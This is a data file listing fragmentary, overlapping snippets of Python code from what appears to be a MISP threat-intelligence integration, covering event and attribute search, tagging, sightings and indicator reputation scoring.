url_parse.fragment})\",\n \"raise DemistoException('Missing API Key. Fill in a valid key in the integration configuration.')\",\n \"entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return\",\n \"DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\\\"([a-z¡-\\\\uffff0-9](?:[a-z¡-\\\\uffff0-9-]{0,61}\\\" \\\"[a-z¡-\\\\uffff0-9])?(?:\\\\\\\\.(?!-)[a-z¡-\\\\uffff0-9-]{1,63}(?<!-))*\\\" \\\"\\\\\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\\\" \\\"|html)$)(?:[a-z¡-\\\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\\\\\.?$\\\"\",\n \"if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen\",\n \"\\\"\\\"\\\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in\",\n \"event scope). If the data is attribute's (is_event_level = false), and the tag\",\n \"from MISP response (1546713469) and converts it to human readable format \\\"\\\"\\\" return\",\n \"copy from pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\\\"pymisp\\\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if\",\n \"build_tag_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends on the called function\\\"\\\"\\\" if given_object.get('Tag'):\",\n \"filters: {args}\\\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \\\"\\\"\\\" Convert the response of\",\n \"when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] =\",\n \"domain, email or ip). malicious_tag_ids (set): Tag ids should be recognised as malicious.\",\n \"= arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context\",\n \"event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')]\",\n \"response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\"\",\n \"arg_to_number(demisto_args.get('limit', 2), \\\"limit\\\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids =\",\n \"tags and search if found_tag is one of it's tags. If so, the\",\n \"\\\"\\\"\\\" Gets a timestamp from MISP response (1546713469) and converts it to human\",\n \"command is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if\",\n \"outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\\\"No results were found\",\n \"for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag :=\",\n \"limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False)\",\n \"= demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\\\"'\\\", '\\\"') try: args = json.loads(attributes) if not isinstance(args,\",\n \"readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Event\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No events found in MISP for\",\n \"added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\\\"An error was occurred: {json.dumps(response)}\\\") def\",\n \"not attributes_list: return None for attribute in attributes_list: attribute.pop(\\\"RelatedAttribute\\\") # get rid of\",\n \"'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id\",\n \"outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag\",\n \"= MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution\",\n \"elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command\",\n \"attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\\\"id\\\")] = {\\\"Event Name\\\": event.get(\\\"info\\\"), \\\"Threat Level ID\\\": event.get('threat_level_id'), \\\"Event\",\n \"attribute: {value} was added to event id {new_event.id}.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID',\",\n \"such case, the score will be BAD if the threat level id is\",\n \"sure the UUID exists.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag\",\n \"for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag :=\",\n \"take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \\\"\\\"\\\" return\",\n \"integer, please change the given: '{tag}' id.\\\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) ->\",\n \"command or as part of another command (create event for example) Args: event_id\",\n \"attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response =\",\n \"\\\"\\\" for event in events_to_human_readable: # removing those fields as they are shared\",\n \"headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit',\",\n \"= argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True)\",\n \"None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\\\"ID\\\": event_id}) human_readable = f'Object\",\n \"'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name':\",\n \"value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name =\",\n \"'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if\",\n \"= PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully added to attribute\",\n \"return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif\",\n \"att_id: raise DemistoException('ID or UUID not specified') sighting_args = { 'id': attribute_id, 'uuid':\",\n \"arg_to_number(params.get('attributes_limit', 20), \\\"attributes_limit\\\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args\",\n \"tag appears in both Malicious tag ids and Suspicious tag ids lists the\",\n \"of attributes that will be written to the context Returns: CommandResults includes all\",\n \"get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key\",\n \"[ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args to MISP's\",\n \"= response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit): if page\",\n \"elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command ==\",\n \"Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs':\",\n \"that score found_related_events (dict): contains info (name, id, threat level id) about all\",\n \"The dictionary that includes the tag list. is_event_level (bool): Whether the attribute_dict was\",\n \"True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True,\",\n \"event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = []\",\n \"ids are the newer ones. Returns: response (dict): The parsed outputs to context\",\n \"demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value')\",\n \"is not valid\\\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\\\"Error:\",\n \"def build_misp_complex_filter(demisto_query: str): \\\"\\\"\\\" Examples are available in UT: test_build_misp_complex_filter. For more information\",\n \"integer, please change the given: '{tag}' id.\\\") except ValueError: raise DemistoException(f\\\"Tag id has\",\n \"UT: test_build_misp_complex_filter. For more information please see build_complex_query in pymisp/api.py Args: demisto_query: complex\",\n \"build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\\\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\\\") return\",\n \"return_error(error) def warn(*args): \\\"\\\"\\\" Do nothing with warnings \\\"\\\"\\\" pass # Disable requests\",\n \"will be scored by their event's threat level id. In such case, the\",\n \"and examples please see UT: test_extract_error. Args: error: list of responses from error\",\n \"the search query when user set the arg 'compact' to True\\\"\\\"\\\" if isinstance(response_object,\",\n \"dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst'\",\n \"received from an event object, meaning the tags are event's ones. Otherwise, the\",\n \"'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid':\",\n \"(bool): Whether the attribute_dict was received from an event object, meaning the tags\",\n \"one. Otherwise it's event's. \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response\",\n \"return_error('Unable to connect to MISP because of a NewConnectionError, ' 'Please make sure\",\n \"f'Tag {tag} has been successfully added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',\",\n \"if event_id else arg_to_number(demisto_args.get('event_id'), \\\"event_id\\\") attributes_args.update({'id': event_id}) if event_id else None distribution =\",\n \"distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen\",\n \"in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no\",\n \"attribute search returned from MISP to the context output format. \\\"\\\"\\\" response_object =\",\n \"Attributes tags (both malicious and suspicious) are stronger than events' tags. \\\"\\\"\\\" found_tag\",\n \"indicator to get that score found_related_events (dict): contains info (name, id, threat level\",\n \"'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp',\",\n \"= event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response:\",\n \"DemistoException('ID or UUID not specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type':\",\n \"in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for event in response: event_tags\",\n \"0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to']\",\n \"url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string':\",\n \"returned from MISP to the context output format. \\\"\\\"\\\" response_object = copy.deepcopy(response) if\",\n \"indicator value (an IP address, email address, domain, url or file hash). dbot_type\",\n \"distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value: attribute_instance.value =\",\n \"= [] object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID') ==\",\n \"tag list can be full of in unnecessary data, we want to limit\",\n \"others that may exist\\\" else: pagination_message += f\\\"Showing page {page}\\\" md = tableToMarkdown(\",\n \"= attribute_id or attribute_uuid if not att_id: raise DemistoException('ID or UUID not specified')\",\n \"is_event_tag = tag.get('inherited', 0) # field doesn't exist when this is an attribute\",\n \"limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \\\"\\\"\\\" As tag list can be full of in unnecessary data,\",\n \"demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id =\",\n \"< 0: raise DemistoException(\\\"limit should be zero or a positive number\\\") def attribute_response_to_markdown_table(response:\",\n \"\\\"\\\"\\\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id\",\n \"ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution',\",\n \"{response}') else: human_readable = f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def\",\n \"PYMISP.tag(uuid, tag) # add the tag except PyMISPError: raise DemistoException(\\\"Adding the required tag\",\n \"response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\\\"ID\\\":\",\n \"0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive',\",\n \"dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path)\",\n \"in response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')]\",\n \"if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if\",\n \"be full of in unnecessary data, we want to limit this list to\",\n \"if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\\\"Error: The given domain: {value} is not valid\\\")\",\n \"response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response =\",\n \"range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in attributes[i]}\",\n \"'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator\",\n \"ValueError as e: raise DemistoException( f'`attribute` parameter could not be decoded, may not\",\n \"= f'Sighting \\\\'{sighting_type}\\\\' has been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise\",\n \"Please make sure the UUID exists.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable\",\n \"[\\\"1\\\", \\\"2\\\", \\\"3\\\"] for event in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids:\",\n \"the indicator to get that score found_related_events (dict): contains info (name, id, threat\",\n \"attributes_limit): \\\"\\\"\\\" After getting all the attributes which match the required indicator value,\",\n \"Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score':\",\n \"== 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==\",\n \"if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else 0\",\n \"event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return\",\n \">>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \\\"\\\"\\\" return [{k: v}\",\n \"{args}\\\") def delete_event(demisto_args: dict): \\\"\\\"\\\" Gets an event id and deletes it. \\\"\\\"\\\"\",\n \"List[Dict[str, int]] for index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers,\",\n \"= build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None of required arguments\",\n \"be scored 3 (i.e malicious). * have tags which configured as suspicious will\",\n \"events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value,\",\n \"demisto.debug(f\\\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\\\") return args_to_misp_format def build_attributes_search_response(response: Union[dict,\",\n \"= get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter file hash\",\n \"event.info = args.get('info') if args.get('info') else 'Event from XSOAR' event.date = datetime.today() event.published\",\n \"page {page}\\\" md = tableToMarkdown( f\\\"MISP search-attributes returned {len(response_for_context)} attributes\\\\n {pagination_message}\\\", attribute_highlights, removeNull=True)\",\n \"attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp'))\",\n \"tag ids. If there is an id that exists in both sets, it\",\n \"as related to the tag. \\\"\\\"\\\" scored_events = [] if found_tag: for attribute\",\n \"event id {new_event.id}.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args,\",\n \"attribute in response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in\",\n \"PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id,\",\n \"User can use the command search-attributes in order to get the information about\",\n \"is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully added\",\n \"] def build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'),\",\n \"'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen':\",\n \"request found_tag (str): The tag that was scored as malicious or suspicious. If\",\n \"list by the event ids as the greater event ids are the newer\",\n \"score of the indicator. For the context data outputs, for every attribute we\",\n \"'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else 0 if\",\n \"SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise\",\n \"''' params = demisto.params() if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')):\",\n \"= MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id'\",\n \"# field doesn't exist when this is an attribute level, default is '0'\",\n \"is_attribute_in_event_with_bad_threat_level): \\\"\\\"\\\" Calculates the indicator score by following logic. Indicators of attributes and\",\n \"outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored\",\n \"} SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME =\",\n \"response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message =\",\n \"attributes). score: the indicator score found_tag: the tag (id) which made the indicator\",\n \"'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name',\",\n \"given MISP event object This function can be called as an independence command\",\n \"the given UUID belongs to an attribute (True) or event (False). \\\"\\\"\\\" uuid\",\n \"connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url\",\n \"None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main():\",\n \"{uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False):\",\n \"will be scored as malicious. - Attributes tags (both malicious and suspicious) are\",\n \"DemistoException(\\\"Removing the required tag was failed. Please make sure the UUID and tag\",\n \"CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids =\",\n \"'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in\",\n \"human_readable = f'Tag {tag} has been successfully removed from the attribute {uuid}' return\",\n \"attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict)\",\n \"= copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event\",\n \"results to Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When this function was\",\n \"demisto_args.get('attributes').replace(\\\"'\\\", '\\\"') try: args = json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args)\",\n \"= url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type:\",\n \"= {\\\"Event Name\\\": event.get(\\\"info\\\"), \\\"Threat Level ID\\\": event.get('threat_level_id'), \\\"Event ID\\\": event.get(\\\"id\\\")} if event.get('Tag'):\",\n \"response in test_data/reputation_command_response.json Please see an example for a parsed output in test_data/reputation_command_outputs.json\",\n \"def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \\\"\\\"\\\"Gets an OSINT feed from url\",\n \"make sure the UUID and tag exist.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes')\",\n \"list can be full of in unnecessary data, we want to limit this\",\n \"convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args:\",\n \"def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url if\",\n \"'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID')\",\n \"function can be called as an independence command or as part of another\",\n \"please see build_complex_query in pymisp/api.py Args: demisto_query: complex query contains saved words: 'AND:',\",\n \"MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPython\",\n \"the given id: {event_id} was not found in MISP. please check it once\",\n \"ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL\",\n \"(str): Indicator type (file, url, domain, email or ip). malicious_tag_ids (set): Tag ids\",\n \"return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args,\",\n \"(each one is str), and verify all the tags are valid positive integers.\\\"\\\"\\\"\",\n \"= response.get('Attribute') if not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'],\",\n \"function\\\"\\\"\\\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description')\",\n \"as malicious or suspicious. Args: all_attributes (dict): The parsed response from the MISP\",\n \"Union[dict, requests.Response]) -> list: \\\"\\\"\\\"returns list of attributes' values that match the search\",\n \"demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if\",\n \"'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed':\",\n \"'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities':\",\n \"{'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object =\",\n \"f\\\"Showing page {page} out others that may exist\\\" else: pagination_message += f\\\"Showing page\",\n \"one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \\\"\\\"\\\" Gets 2 sets which include tag\",\n \"== 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \\\"IP\\\": return Common.IP(ip=value, dbot_score=dbot_score) if\",\n \"The given IP address: {value} is not valid\\\") if dbot_type == 'DOMAIN': if\",\n \"dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\\\"'\\\", '\\\"') try: args\",\n \"List[dict]) -> GenericObjectGenerator: \\\"\\\"\\\" Args: template_name: template name as described in https://github.com/MISP/misp-objects args:\",\n \"(array of attributes). score: the indicator score found_tag: the tag (id) which made\",\n \"ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value':\",\n \"event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def\",\n \"set to 1 it says that it is an event's tag. Otherwise (if\",\n \"information and examples please see UT: test_extract_error. Args: error: list of responses from\",\n \"demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type if\",\n \"data, we want to limit this list to include only the ID and\",\n \"= not params.get('insecure') PROXIES = handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL,\",\n \"return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category':\",\n \"of it's tags. If so, the event will be added to related_events list\",\n \"misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string(\",\n \"if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg\",\n \"convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\\\"id\\\")] = {\\\"Event Name\\\": event.get(\\\"info\\\"), \\\"Threat Level ID\\\": event.get('threat_level_id'), \\\"Event ID\\\":\",\n \"readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else:\",\n \"all the attributes which match the required indicator value, this function parses the\",\n \"the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's\",\n \"def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name') for tag in\",\n \"try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str,\",\n \"tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag:\",\n \"misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args()\",\n \"for operators. using the operators is optional. if 'demisto_query' does not contains any\",\n \"in Returns: Union[dict, list, str]: same object type that got in \\\"\\\"\\\" if\",\n \"3 (i.e malicious). * have tags which configured as suspicious will be scored\",\n \":= tag) in attribute_tags_ids for tag in suspicious_tag_ids) if 